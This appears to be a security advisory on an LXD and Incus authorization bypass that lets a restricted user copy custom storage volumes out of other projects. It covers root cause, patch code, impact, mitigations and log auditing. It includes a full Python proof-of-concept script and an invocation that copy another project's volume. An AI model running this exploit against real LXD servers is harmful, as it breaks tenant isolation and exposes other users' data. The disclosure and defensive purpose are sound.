Nov 6, 2026·10 min read·3 visits
Authenticated users restricted to a single LXD project can bypass multi-tenant isolation and copy custom storage volumes from any other project by supplying an unauthorized source project name in a volume creation API request.
An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.
Canonical LXD is a system container and virtual machine manager implemented in Go that exposes a RESTful API over HTTPS (typically on TCP port 8443) or a local Unix domain socket. To support multi-tenant deployments, LXD implements a 'Projects' feature that partitions instances, images, networks, profiles, and custom storage volumes into isolated logical namespaces. Administrators can issue restricted client certificates bound to specific projects, intending to prevent those clients from viewing or interacting with resources residing in other projects on the same LXD host or cluster.
A missing authorization vulnerability (CWE-862), also classifiable as Improper Authorization (CWE-285) and Authorization Bypass Through User-Controlled Key (CWE-639), exists within the custom storage volume creation workflow in github.com/canonical/lxd. Specifically, the HTTP POST handler for /1.0/storage-pools/{pool}/volumes/custom fails to validate user entitlements against the source project and volume when the creation request specifies a copy operation (req.Source.Type == "copy").
When a restricted user initiates a volume copy, LXD verifies that the caller is permitted to create storage volumes within the target destination project specified in the URL query string (?project={target-project}). However, the daemon trusts the source.project and source.name parameters supplied in the JSON request body without verifying that the caller holds read or view permissions on the origin project.
Consequently, any authenticated attacker with restricted access to at least one LXD project can clone custom storage volumes or snapshots from arbitrary projects into their authorized project, provided they know or can guess the target project and volume identifiers. Once the volume is duplicated into the attacker's project namespace, the attacker has full administrative control over the copy and can mount it into an instance to read all underlying filesystem or block data.
In LXD's security architecture, client authentication and authorization are enforced per API endpoint and per resource entity. When a client authenticates via a TLS client certificate configured with restricted: true, the LXD authorizer restricts the client's operational scope strictly to the projects explicitly listed in the certificate's trust store configuration. Any direct attempt by this client to query or manipulate resources in an unlisted project—such as issuing a GET /1.0/storage-pools/default/volumes?project=secrets request—is intercepted by the authorization layer and rejected with an HTTP 403 Forbidden response.
The vulnerability originates in lxd/storage_volumes.go within the storagePoolVolumesPost function, which processes requests to create new storage volumes in a given storage pool. This endpoint supports multiple creation modes defined by the req.Source.Type field in the JSON payload, including creating an empty volume, migrating a volume, or copying an existing volume (api.SourceTypeCopy / "copy").
During the execution of storagePoolVolumesPost, the router and handler validate the caller's permissions against the target project extracted from the HTTP request query parameter (requestProjectName). When req.Source.Type is set to copy, the handler extracts req.Source.Project and req.Source.Name directly from the unvalidated JSON request body and passes them downstream to the internal storage layer (CreateCustomVolumeFromCopy).
Because internal storage pool operations execute with the privileges of the LXD daemon itself, the backend storage driver performs the block or filesystem duplication across project boundaries without further access control checks. The absence of an explicit s.Authorizer.CheckPermission or s.Authorizer.UserHasPermission call on the source entity prior to invoking the storage backend constitutes the root cause of the isolation bypass.
The remediation was implemented across both the mainline LXD codebase (6.x and 5.21.x branches) and the older 5.0.x LTS branch. While both patches resolve the missing authorization check in lxd/storage_volumes.go, they differ slightly in implementation due to architectural evolutions in LXD's internal Authorizer interface and entity URL representation.
In the mainline patch (commit 8a4ed50ae855639d76021ba4bf26a50d7f2288fd), the fix intercepts requests in storagePoolVolumesPost immediately after validating the volume type. When req.Source.Type == api.SourceTypeCopy, the code resolves the effective project for custom storage volumes and constructs a canonical *api.URL representing either the source volume or the source volume snapshot, depending on whether req.Source.Name contains a snapshot delimiter.
// Mainline Fix (Commit 8a4ed50ae855639d76021ba4bf26a50d7f2288fd)
if req.Source.Type == api.SourceTypeCopy {
if req.Source.Name == "" {
return response.BadRequest(errors.New("No source volume name supplied"))
}
// Default to the target project if no source project is explicitly specified in JSON
if req.Source.Project == "" {
req.Source.Project = requestProjectName
}
// Resolve the actual project name based on cluster project features (e.g., features.storage.volumes)
sourceProjectName, err := project.StorageVolumeProject(s.DB.Cluster, req.Source.Project, cluster.StoragePoolVolumeTypeCustom)
if err != nil {
return response.SmartError(err)
}
// Build the exact internal entity URL for either a snapshot or a parent custom volume
var sourceURL *api.URL
sourceVolumeName, snapshotName, isSnapshot := api.GetParentAndSnapshotName(req.Source.Name)
if isSnapshot {
sourceURL = entity.StorageVolumeSnapshotURL(sourceProjectName, req.Source.Location, req.Source.Pool, req.Type, sourceVolumeName, snapshotName)
} else {
sourceURL = entity.StorageVolumeURL(sourceProjectName, req.Source.Location, req.Source.Pool, req.Type, req.Source.Name)
}
// Enforce that the authenticated caller holds 'can_view' entitlement on the source entity
err = s.Authorizer.CheckPermission(r.Context(), sourceURL, auth.EntitlementCanView)
if err != nil {
return response.SmartError(err)
}
}In the 5.0.x LTS branch (commit eec1cf9504c18ad7c3c36ae0b62d21c05c25702c), the authorization check uses the project-level UserHasPermission method. Notably, the LTS patch avoids mutating req.Source.Project in-place when it is empty, preserving cluster-internal forwarding semantics where an empty req.Source.Project signals an intra-project operation.
// LTS 5.0.x Fix (Commit eec1cf9504c18ad7c3c36ae0b62d21c05c25702c)
if req.Source.Type == "copy" {
// Determine effective source project without mutating req.Source.Project
sourceProject := req.Source.Project
if sourceProject == "" {
sourceProject = requestProjectName
}
// Verify the user has "view" permission on the source project
if !s.Authorizer.UserHasPermission(r, sourceProject, "view") {
return response.Forbidden(nil)
}
}> [!NOTE]
> Fix Completeness Assessment: Both patches completely remediate the vulnerability along the storagePoolVolumesPost copy path. The mainline fix is particularly granular, validating auth.EntitlementCanView against the specific volume or snapshot URL (which accounts for fine-grained RBAC/OpenFGA policies in newer LXD versions) as well as resolving project feature overrides via project.StorageVolumeProject.
Exploiting GHSA-7mr3-28h5-m5vx requires three prerequisites: network connectivity to the LXD REST API (:8443), valid credentials (such as a restricted TLS client certificate) granting access to at least one project where custom volume creation is permitted, and knowledge of the target source project name, storage pool name, and custom volume name. Because restricted users receive 403 Forbidden when attempting to list projects or volumes outside their scope, an attacker must either know the naming conventions used in the environment or brute-force common project and volume names (e.g., production, secrets, default, backups).
Consider an environment where an administrator has created an isolated project named secrets containing a custom volume secret-vol in the default storage pool, and has issued a restricted client certificate (client.crt and client.key) limited exclusively to the default project. When the attacker attempts to list volumes in secrets, the API properly denies the request.
To bypass this restriction, the attacker sends an HTTP POST request to /1.0/storage-pools/default/volumes/custom?project=default with a JSON payload instructing LXD to create a new custom volume named copy-secret-vol by copying secret-vol from the secrets project. The following proof-of-concept script demonstrates this exact API call:
#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--pool", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-volume", required=True)
ap.add_argument("--source-pool")
ap.add_argument("--name", required=True, help="new volume name in target project")
ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
ap.add_argument("--volume-only", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
source = {
"type": "copy",
"name": args.source_volume,
"project": args.source_project,
"volume_only": args.volume_only,
}
if args.source_pool:
source["pool"] = args.source_pool
body = {
"name": args.name,
"type": "custom",
"content_type": args.content_type,
"source": source,
}
path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
urllib.parse.quote(args.pool, safe=""),
urllib.parse.urlencode({"project": args.target_project}),
)
if args.dry_run:
print(json.dumps(body, indent=2))
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())Executing the script against a vulnerable LXD server initiates an asynchronous background operation that duplicates the underlying storage volume into the default project:
python3 poc.py --url https://<TARGET-IP>:8443 \
--cert client.crt --key client.key \
--target-project default \
--source-project secrets \
--source-volume secret-vol \
--name copy-secret-vol \
--pool default --source-pool default \
--insecureOnce the background operation completes, copy-secret-vol is registered under the default project. The attacker can then attach copy-secret-vol to any container or virtual machine they control within default and read the entirety of the exfiltrated filesystem or block device.
The primary security impact of GHSA-7mr3-28h5-m5vx is a high-severity breach of confidentiality across multi-tenant security boundaries, reflected in its CVSS v3.1 score of 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N). The Scope metric is rated as Changed (S:C) because the vulnerable component is the LXD API authorization layer governing the attacker's project, while the impacted component is an isolated storage resource residing in a separate tenant security domain.
Custom storage volumes in LXD and Incus are frequently used to persist high-value application data independently of instance lifecycles. This includes relational database files, shared configuration directories, TLS private keys, application secrets, and backup archives. By duplicating these volumes into an untrusted project, an attacker gains full read access to every file or block stored on the volume (Confidentiality: High).
The vulnerability does not allow the attacker to directly modify or delete the original volume in the victim project (Integrity: None, Availability: None), as the operation creates an independent clone in the destination project. However, if the exfiltrated volume contains credentials, SSH keys, or API tokens belonging to services in the victim project, the attacker can leverage those disclosed secrets to pivot and achieve secondary compromise of the victim environment.
Additionally, while the primary impact is unauthorized data disclosure, an attacker could repeatedly trigger large cross-project volume copies into their own project if storage quotas are not strictly enforced, potentially consuming underlying storage pool capacity on the host.
Administrators operating Canonical LXD or Linux Containers Incus in multi-tenant configurations must upgrade to a patched release that enforces source entitlement checks during custom volume copy operations. Canonical has released patches across all supported LXD tracks:
eec1cf9504c18ad7c3c36ae0b62d21c05c25702c).8a4ed50ae855639d76021ba4bf26a50d7f2288fd).e2635a26957737ec4a77dc28dd7b84bd380881d6).github.com/canonical/lxd to pseudo-version 0.0.0-20260630083100-c5184be310b1 or a corresponding tagged release.GHSA-64f3-v33m-w89f and apply the corresponding upstream Incus updates.> [!NOTE]
> Workarounds and Mitigations: If immediate patching is not feasible, review all trusted client certificates (lxc config trust list) and revoke or restrict network access to :8443 for any semi-trusted or multi-tenant users. Additionally, where possible, disable custom volume creation in untrusted projects or enforce strict project restrictions (restricted.devices.disk) so that even if a volume is copied, it cannot be attached to an instance.
Security teams should audit LXD daemon logs and cluster operation histories for evidence of historical exploitation. Specifically, inspect HTTP access logs for POST requests to /1.0/storage-pools/*/volumes/custom where the ?project= query parameter differs from the source.project attribute in the request body, and review background volume-copy operations involving cross-project source paths.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Canonical LXD (5.0 LTS) Canonical | < 5.0.7 | 5.0.7 |
Canonical LXD (5.21 LTS) Canonical | < 5.21.5 | 5.21.5 |
Canonical LXD (6.x) Canonical | < 6.8 | 6.8 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | GHSA-7mr3-28h5-m5vx / CVE-2026-55621 |
| Weakness Class | CWE-862 (Missing Authorization) |
| CVSS v3.1 Score | 7.7 High (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) |
| Attack Vector | Network (HTTPS REST API on :8443) |
| Affected Function | storagePoolVolumesPost (lxd/storage_volumes.go) |
| Security Impact | Cross-project tenant isolation bypass and unauthorized storage volume duplication |
| Exploit Maturity | Proof of Concept (PoC) Publicly Available |
| Patched Versions | LXD 5.0.7, 5.21.5, 6.8 |
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.
A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.
CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.
CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.